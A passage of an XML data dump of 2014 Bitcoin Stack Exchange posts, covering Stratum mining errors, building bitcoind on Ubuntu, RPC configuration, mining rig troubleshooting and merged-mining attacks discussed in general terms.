&quot;1061486e8cebb27914e7d3e24c0ce90e8b1fc0606cb1bf8f4cc61c4e4dbad84d&quot;], &quot;00000002&quot;, &quot;1b527845&quot;, &quot;531c8b67&quot;, true], &quot;id&quot;: null, &quot;method&quot;: &quot;mining.notify&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;step 5/5: mining farm sends shares to dogecoin straum, but they are are above target&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;2610&quot;, &quot;04000000&quot;, &quot;531c8b67&quot;, &quot;f4be2e00&quot;], &quot;id&quot;: 7, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: [-2, &quot;Share is above target&quot;, null], &quot;id&quot;: 7, &quot;result&quot;: null}&#xA;{&quot;params&quot;: [&quot;FarmOne&quot;, &quot;2610&quot;, &quot;01000000&quot;, &quot;531c8b67&quot;, &quot;45ca4700&quot;], &quot;id&quot;: 8, &quot;method&quot;: &quot;mining.submit&quot;}&#xA;{&quot;error&quot;: [-2, &quot;Share is above target&quot;, null], &quot;id&quot;: 8, &quot;result&quot;: null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14326" LastActivityDate="2014-03-09T20:23:15.847" Title="Share is above target when switching between stratums" Tags="|mining-pools|scrypt|stratum|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23299" PostTypeId="2" ParentId="21057" CreationDate="2014-03-09T19:00:31.417" Score="6" Body="&lt;p&gt;Both Bitcoin and Ripple are systems made of many components. One such component is a method to synchronize transactions and secure against double-spending; Bitcoin uses mining based on proof of work for that, while Ripple uses a consensus mechanism. Another component is the initial issuing of coins - Bitcoin uses mining for that as well, while Ripple uses central issuing. Of course, the key component of Ripple, which Bitcoin lacks, is a credit network with pathfinding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could build a system which is like Bitcoin in every way except that it uses consensus for synchronization rather than mining. It is likely that the total energy spent on generating new coins will be lower than the total energy spent on synchronizing transactions; so replacing that part with a mechanism that requires less energy is welcome. However, the consensus mechanism is not as proven as the mining mechanism, and is less decentralized thus less consistent with Bitcoin's overall vision.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2014-03-10T19:48:45.640" LastActivityDate="2014-03-10T19:48:45.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23300" PostTypeId="1" CreationDate="2014-03-09T19:03:23.973" Score="3" ViewCount="621" Body="&lt;p&gt;I read in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3656&quot; rel=&quot;nofollow noreferrer&quot;&gt;this Github pull&lt;/a&gt; that Bitcoin relies on weaker cryptographic guarantees than SHA256.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the weaker cryptographic guarantees being referred to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be that RipeMD is 160 bits? ... or is it something else? Perhaps in the ECC curve itself?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-08-15T14:37:27.580" Title="What are the weakest cryptographic guarantees in Bitcoin?" Tags="|bitcoin-core|address|cryptography|secp256k1|protocol|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23302" PostTypeId="2" ParentId="18369" CreationDate="2014-03-09T20:23:47.750" Score="1" Body="&lt;p&gt;I am not familiar about how to run it on windows but for Ubuntu 12.04 I can help you out first you should remove garbage from the conf file which should be located under ~/.bitcoin folder with the name bitcoin.conf with just following text :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=whatever&#xA;rpcpassword=whatever&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^^ is sufficient &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now to make bitcoind to reply RPC calls you should have jsonRPCClient files in your computer I am not familiar with ruby but still &lt;a href=&quot;https://github.com/Textalk/json-rpc-client-ruby&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Textalk/json-rpc-client-ruby&lt;/a&gt; this link can give you an idea on how to do it. I hope this will help you achieve what you are looking for. And the bonus answer on linux you can use netstat -ntpl to have detailed view on which program is using which port&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-09T20:23:47.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23303" PostTypeId="2" ParentId="23253" CreationDate="2014-03-09T20:37:36.957" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://cryptocointalk.com/topic/4223-auroracoin-aur-information/&quot;&gt;Turns out I was wrong&lt;/a&gt;. It &lt;em&gt;is&lt;/em&gt; mineable right away and it is actively being traded in different exchanges, as &lt;a href=&quot;https://cryptorush.in/index.php?p=trading&amp;amp;m=AUR&amp;amp;b=BTC&quot;&gt;cryptorush.in&lt;/a&gt; and &lt;a href=&quot;http://www.cryptsy.com/markets/view/160&quot;&gt;cryptsy&lt;/a&gt;. What hasn't happened yet is the release of the pre-mined coins (50% of final amount), which will be given to Icelandic citizens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too bad the official page isn't clear about this (info on pools and exchanges is a bit hidden &lt;a href=&quot;http://forum.auroracoin.org/&quot;&gt;in the forums&lt;/a&gt;), nor does it list anywhere a list of exchanges dealing with it or pools for mining it - the cryptocointalk page linked first states all that.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-09T20:37:36.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23304" PostTypeId="2" ParentId="18378" CreationDate="2014-03-09T20:42:30.913" Score="1" Body="&lt;p&gt;This could be found by searching on google and using couple of different queries, nevertheless. Here we go :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get upgrade&#xA;sudo apt-get update&#xA;sudo apt-get install build-essential&#xA;sudo apt-get install libtool&#xA;sudo apt-get install autotools-dev&#xA;sudo apt-get install autoconf&#xA;sudo apt-get install libssl-dev&#xA;sudo apt-get install libboost-all-dev&#xA;sudo apt-get install libdb5.1-dev&#xA;sudo apt-get install libdb5.1++-dev&#xA;sudo apt-get install libminiupnpc-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;download berkeley db &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wget http://download.oracle.com/berkeley-db/db-6.0.20.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unpack &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tar -xzvf db-6.0.20.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now build berkeley db &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../dist/configure --enable-cxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;once the process completed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now download bitcoin repo from github&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you do not have git installed install it by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone git://github.com/bitcoin/bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cd bitcoin&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./autogen.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;let it complete&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;let it complete &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you should have bitcoind in the src folder copy that to usr/bin folder&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-09T20:42:30.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23305" PostTypeId="1" CreationDate="2014-03-09T22:38:08.837" Score="1" ViewCount="2992" Body="&lt;p&gt;I built the following rig:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5x SAPPHIRE TRI-X R9 280X 3GB GDDR5 OC (UEFI)&#xA;1x AeroCool Templarius Imperator 1150W 80 Plus Gold&#xA;1x HighPower Tech 1200w Gold Plus (HP-1200-G14C-GOLD)&#xA;1x Gigabyte GA-990FXA-UD3 motherboard&#xA;1x W.D Caviar Green 500GB SATA III HDD&#xA;1x Kingston KHX1600C9D3B1/4G&#xA;2x Unpowered risers 1x 16x&#xA;3x Powered risers 1x 16x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the templarius PSU powering the motherboard, the HDD and 2x GPUs with unpowered risers.&#xA;The other 3 gpus are powered by the 1200w PSU and connected to the powered usb risers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Installed Windows 8.1 and plugged one gpu. It automatically installed the Radeon HD 7990 driver. Then connected the second gpu and followed the same process with the other gpus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then executed cgminer and everything looks stable at 740Khs each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However 1h later the rig shuts down. It always shuts down aprox. 1h later..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;" OwnerUserId="10088" LastEditorUserId="5406" LastEditDate="2016-02-21T16:08:24.467" LastActivityDate="2016-02-21T16:08:24.467" Title="5gpu 2psu scrypt mining rig shuts down 1hour later" Tags="|scrypt|mining-hardware|gpu-mining|mining-setup|" AnswerCount="3" CommentCount="5" ClosedDate="2014-03-20T22:29:01.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="23306" PostTypeId="2" ParentId="8120" CreationDate="2014-03-09T23:14:07.327" Score="1" Body="&lt;p&gt;It won't exist. Merged mining only shows up in the auxiliary blockchain (Namecoin), not the parent blockchain (Bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if you find a hash smaller than the target for both, then you submit the block to the Bitcoin network as usual and the Namecoin network as well. If you find a hash smaller than the Namecoin target but larger than the Bitcoin target, then you submit to Namecoin only. Basically the Namecoin blockchain gets stuffed with some junk from the Bitcoin blockchain.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-09T23:14:07.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23307" PostTypeId="2" ParentId="23305" CreationDate="2014-03-09T23:28:44.340" Score="0" Body="&lt;p&gt;If it's shutting off without warning, then some form of a fail safe is kicking in to keep your system intact. You shouldn't turn it back on because you're risking losing your entire setup by ignoring the signs. The problem is most likely cooling, or lack thereof. Clock down your setup if it allows, or turn down the intensity of cgminer to the one where it's not using much of your hardware's power. Then see if it cuts off at the 1 hour point. If it doesn't. Get better cooling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, some version of cgminer has this weird bug where it cuts off your GPU fans after a while. If you have auto_fan enabled. Turn it off.&lt;/p&gt;&#xA;" OwnerUserId="14338" LastActivityDate="2014-03-09T23:28:44.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23309" PostTypeId="1" CreationDate="2014-03-09T23:55:45.867" Score="0" ViewCount="176" Body="&lt;p&gt;I want to sell digital products (eBooks) using Bitcoin, and I want products to be instantly available after purchase. What could I do?&lt;/p&gt;&#xA;" OwnerUserId="14339" LastActivityDate="2014-03-11T09:53:36.270" Title="How do I set up a free Bitcoin eStore" Tags="|merchants|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-17T18:15:46.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="23310" PostTypeId="1" CreationDate="2014-03-10T01:52:06.257" Score="1" ViewCount="272" Body="&lt;p&gt;I'm trying to compute the normalized transaction ID so that it matches what is on blockchain.into at the following URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://blockchain.info/q/hashtontxid/  --- normal TX ID here ----&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given that I need to create a canonical id of some type (just the tx inputs, etc), can anyone go into technical detail as to how the hash is created?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some variations I've tried&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;foreach input and output, add them to the sha256 engine.  call finalize at the end.&lt;/li&gt;&#xA;&lt;li&gt;foreach input and output, add them to the sha256 engine.  call finalize at each round.  Use the finalized output to initialize each round, and then the next data[] (input or output array)&lt;/li&gt;&#xA;&lt;li&gt;make everything one flat memory array, laid out sequentially, hash and finalize.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that the byte[] layout in memory is no different than what it is on the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be dealing with yet another endian issue, so any confirmation on approach will reduce my troubleshooting.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-03-10T01:52:06.257" Title="When computing a normalized transaction id, when do I finalize the sha256 hash?" Tags="|transactions|development|blockchain.info|transaction-id|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23311" PostTypeId="2" ParentId="23268" CreationDate="2014-03-10T03:13:18.910" Score="4" Body="&lt;p&gt;I've seen this question several times, and us puny humans don't understand how HUGE! big numbers are. So, let me put it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are a million people on the bitcoin network, and they each have a million accounts each, and if you can create 30 peta-accounts per second, generate the public key, and check if that public key has money (30 petahashes is approx the current bitcoin network hashrate, and you would need to hash each key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 1.5x10^9 millennia, you have about a 50% chance of getting the same wallet as someone else. Before then, there will be over 27,000 extinction level events - events which will kill over 50% of the life on earth - not counting man-made ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that the Birthday paradox doesn't apply here; a collision is only relevant if one has money in it at some point now or in the future.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-03-10T19:31:21.963" LastActivityDate="2014-03-10T19:31:21.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23313" PostTypeId="2" ParentId="23309" CreationDate="2014-03-10T03:25:29.570" Score="1" Body="&lt;p&gt;Coinbase has shopping cart plugins that can integrate with many existing e-commerce web apps without you having to write any code. See here: &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/shopping_cart_plugins&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/docs/merchant_tools/shopping_cart_plugins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you were wondering, an &quot;e-commerce web app&quot; is a pre-build shopping website that is analogous to Word Press for publishing. There are a few open source (free) options for this. Just google &quot;open source e-commerce web app&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-03-10T03:25:29.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23315" PostTypeId="2" ParentId="23300" CreationDate="2014-03-10T07:08:08.987" Score="-1" Body="&lt;p&gt;This doesn't directly answer your question, but in ECDSA, if the private key is close to one of the 768 rendezvous points on the secp256k1 curve, it is considered a weak private key and can be compromised. See this &lt;a href=&quot;https://bitcointalk.org/index.php?topic=421842.0&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk thread&lt;/a&gt;. In practice, this isn't a huge threat as long as you use a good source of randomness since the space around those rendezvous points is a miniscule fraction of the total keyspace. &lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="1878" LastEditDate="2014-08-15T14:37:27.580" LastActivityDate="2014-08-15T14:37:27.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23317" PostTypeId="2" ParentId="8704" CreationDate="2014-03-10T07:36:29.737" Score="4" Body="&lt;p&gt;I have the privilege of answering your question a year later, where GPUs have taken over Litecoin and all of its derivatives. Currently, botnets would be better off mining a CPU coin like Primecoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there is evidence of botnet mining for both &lt;a href=&quot;http://www.esecurityplanet.com/malware/researchers-warn-of-litecoin-mining-malware.html&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt; and &lt;a href=&quot;http://thehackernews.com/2014/01/cyber-criminals-targeting-another.html&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-10T07:36:29.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23319" PostTypeId="2" ParentId="23274" CreationDate="2014-03-10T10:16:38.033" Score="1" Body="&lt;p&gt;Standard multisig outputs have max 3 keys, but it is possible to add up to 16 keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This limit is probably a result of the hard limit of output script size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: source: I don't remember where I found this information. (I implemented it in &lt;a href=&quot;https://github.com/dartcoin/dartcoin-lib&quot; rel=&quot;nofollow&quot;&gt;Dartcoin&lt;/a&gt; and put that in the documentation.) As an alternative source, check out Mike Hearn's BitcoinJ implementation &lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/script/ScriptBuilder.java#132&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2014-03-10T10:16:38.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23321" PostTypeId="1" AcceptedAnswerId="23349" CreationDate="2014-03-10T12:41:28.447" Score="0" ViewCount="143" Body="&lt;p&gt;If I transfer money into my Blockchain account after receiving my Json wallet backup by email, would it restore recently added funds?&lt;/p&gt;&#xA;" OwnerUserId="14351" LastActivityDate="2014-03-11T04:03:28.667" Title="Restore New Funds after Blockchain Backup" Tags="|blockchain|backup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23322" PostTypeId="2" ParentId="22954" CreationDate="2014-03-10T13:55:49.367" Score="2" Body="&lt;p&gt;All mining pools are currently publishing the block of transactions they are currently working on, &lt;em&gt;but&lt;/em&gt; it's likely encoded into a smaller block header.  As a miner, you are asking the pool for a small amount of work that you can accomplish and share your results. As far as I know, &lt;strong&gt;there are no mining pools that publish which transactions&lt;/strong&gt; they are working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I hope mining pools start doing this.  If some mining pool admin or miner knows of one, please prove me wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then if you could &lt;em&gt;summarize&lt;/em&gt; what all the pools are working on currently, and if a majority of the network is working on the same block of transactions than it is likely that 1 confirmation will occur on that block.  Basically a look ahead to see what might be confirmed.  This only reduces the risk by 1 confirmation and even so, that is not fool proof since someone outside of the major pools could confirm an alternative block of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still recommended you wait for a few confirmations before accepting a transaction.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="6375" LastEditDate="2014-03-11T00:51:24.703" LastActivityDate="2014-03-11T00:51:24.703" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23323" PostTypeId="2" ParentId="6055" CreationDate="2014-03-10T14:11:53.517" Score="1" Body="&lt;p&gt;If you mean with anonymous domain registration with a WhoisGuard, &#xA;then you can check &lt;a href=&quot;http://www.superbithost.com/&quot; rel=&quot;nofollow&quot;&gt;superbithost&lt;/a&gt;.&#xA;They offer this as a free option in 90% of the domains. You can get there offshore hosting to...&lt;/p&gt;&#xA;" OwnerUserId="14352" LastActivityDate="2014-03-10T14:11:53.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23324" PostTypeId="1" AcceptedAnswerId="23367" CreationDate="2014-03-10T14:57:39.403" Score="6" ViewCount="7642" Body="&lt;p&gt;So imagine that I have 200 USD on my credit card balance from a bunch of small purchases and bar drinks and tips that I want to pay using bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can but gift cards from gyft or do online purchases using joinsnapcard. But If I invite a round on my local non-bitcoin-friendly bar, I want to pay with bitcoin anyways (even I I use credit card system as proxy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any service that does that for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2017-07-27&lt;/strong&gt;:  There is a debit card that can be funded with Bitcoin, Ethereum and Litecoin (via Coinbase) called ShiftCard &lt;a href=&quot;https://www.shiftpayments.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.shiftpayments.com/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Nico&lt;/p&gt;&#xA;" OwnerUserId="14355" LastEditorUserId="14355" LastEditDate="2017-07-27T14:38:45.023" LastActivityDate="2019-01-10T20:00:49.780" Title="Is there a way to pay my credit card balance with bitcoins?" Tags="|payment|balance|bitcoin-credit-card|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23325" PostTypeId="1" CreationDate="2014-03-10T15:52:17.110" Score="1" ViewCount="304" Body="&lt;p&gt;I downloaded and installed Bitcoin-Qt 0.8.6, fully synced the block chain (&lt;a href=&quot;https://i.stack.imgur.com/75sq3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;according to the software itself&lt;/a&gt;) and now trying some basic commands through the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, &lt;code&gt;getreceivedbyaddress &amp;lt;address&amp;gt;&lt;/code&gt; always returns zero, even for addresses that I know contain some bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;code&gt;getreceivedbyaddress 1Dorian4RoXcnBv9hnQ4Y2C1an6NJ4UrjX&lt;/code&gt; gives 0.00000000 (&lt;a href=&quot;https://i.stack.imgur.com/CMoJV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;mini-screenshot&lt;/a&gt;), yet we can all verify that this address actually &lt;em&gt;did&lt;/em&gt; receive bitcoins (see comment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restarted the software several times, restarted my PC, and also tried doing this from the command line using bitcoind instead of the Bitcoin-Qt user interface, still the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong or misunderstanding Bitcoin-Qt?&lt;/p&gt;&#xA;" OwnerUserId="14357" LastEditorUserId="14357" LastEditDate="2014-03-10T16:46:47.573" LastActivityDate="2014-03-10T16:58:04.423" Title="Installed latest Bitcoin-Qt, fully synced, but 'getreceivedbyaddress' etc doesn't work?" Tags="|bitcoind|" AnswerCount="2" CommentCount="3" ClosedDate="2014-03-18T22:48:19.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="23328" PostTypeId="2" ParentId="23325" CreationDate="2014-03-10T16:57:37.263" Score="2" Body="&lt;p&gt;&lt;code&gt;getreceivedbyaddress&lt;/code&gt; only works for &lt;em&gt;your&lt;/em&gt; addresses, i.e. those for which the private key is in your wallet.  Those are the only addresses for which &lt;code&gt;bitcoin-qt&lt;/code&gt; keeps indexed transaction data.  Getting balance and transaction information for arbitrary addresses is unfortunately not supported by &lt;code&gt;bitcoin-qt&lt;/code&gt;; sites like blockchain.info write custom software that manually parses the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/a/10099/5757&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-03-10T16:57:37.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23329" PostTypeId="2" ParentId="23325" CreationDate="2014-03-10T16:58:04.423" Score="2" Body="&lt;p&gt;I believe that getreceivedbyaddress only reports on addresses that &lt;em&gt;are in your wallet&lt;/em&gt;.  It doesn't allow you to look up arbitrary addresses, like the 1Dorian one.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-03-10T16:58:04.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23331" PostTypeId="1" CreationDate="2014-03-10T17:33:46.993" Score="1" ViewCount="137" Body="&lt;p&gt;Installing a wallet under linux is sometimes difficult without an up-to-date tutorial for users who are not familiar with linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that it is pretty easy to install &lt;a href=&quot;https://www.winehq.org/download/ubuntu&quot; rel=&quot;nofollow&quot;&gt;wine&lt;/a&gt; on Ubuntu 12.04.4 instead and then installing the windows wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using this approach for Megacoin, Darkcoin, and Dogecoin for a month now and have not met any issues so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am still wondering, whether one should expect negative consequences or compatibility issues when running wallets through wine?&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="5406" LastEditDate="2014-05-08T12:29:47.897" LastActivityDate="2014-05-08T12:30:52.600" Title="What compatibility issues might be expected when using the MegaCoin wallet on Wine?" Tags="|wallet|ubuntu|linux|dogecoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T18:44:51.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="23333" PostTypeId="2" ParentId="22286" CreationDate="2014-03-10T18:57:51.090" Score="0" Body="&lt;p&gt;It's &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3472/what-is-the-story-behind-the-attack-on-coiledcoin&quot;&gt;already happened&lt;/a&gt;, it's much easier if the alt-coin is merged-mined for then the attack occurs for &quot;free&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merge-mining can be a double-edged sword. Piggy-backing a coin onto another encourages plenty of people to mine it for they continue to earn as usual from the main chain plus increase their profits (even if just a bit) from the secondary coins they receive for (almost) free. Theoretically, this should ensure the merge-mined coin eventually gets as much hashpower as the main coin, thus becoming unvulnerable to such attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if a big pool of the main coin decides to attack it very soon after lunch, before many others start merge-mining it, with their enourmous hashpower they usually acquire &gt;51% and the coin is destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right when UnitedScryptCoin (or its offspring OrgCoin and Pesetacoin) were released they would've been very vulnerable to this attack should a Litecoin pool have decided to attack them. For the good or the bad no-one did, and now it'd be much difficult to attack for this coin is merge-mined with Dogecoin, Digitalcoin, 42coin and a bunch of others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What may be happening instead is some Litecoin/Dogecoin/Digitalcoin pool operators silently mining USC and keeping the alt-coins for themselves, an ethically dubious move for which I believe there's nothing the pool miners can do about.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-03-10T18:57:51.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23334" PostTypeId="2" ParentId="23305" CreationDate="2014-03-10T19:13:24.747" Score="1" Body="&lt;p&gt;My brothers machine was doing this also. We fixed it by pulling a card. The motherboard was pulling too much power under load. &lt;/p&gt;&#xA;" OwnerUserId="14359" LastActivityDate="2014-03-10T19:13:24.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23337" PostTypeId="1" CreationDate="2014-03-10T20:52:01.107" Score="0" ViewCount="666" Body="&lt;pre&gt;&lt;code&gt; # server=1 tells Bitcoin-QT to accept JSON-RPC commands.&#xA; server=1&#xA;&#xA; # You must set rpcuser and rpcpassword to secure the JSON-RPC api&#xA; rpcuser=bhhtufhrt&#xA; rpcpassword=ferhrhh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;im trying to connect to my bitcoin thats my conf file but i cant connect to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://127.0.0.1:8832/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;im running on my local machine&lt;/p&gt;&#xA;" OwnerUserId="14364" LastActivityDate="2014-05-10T17:30:17.107" Title="Cannot connect to bitcoin-qt server" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
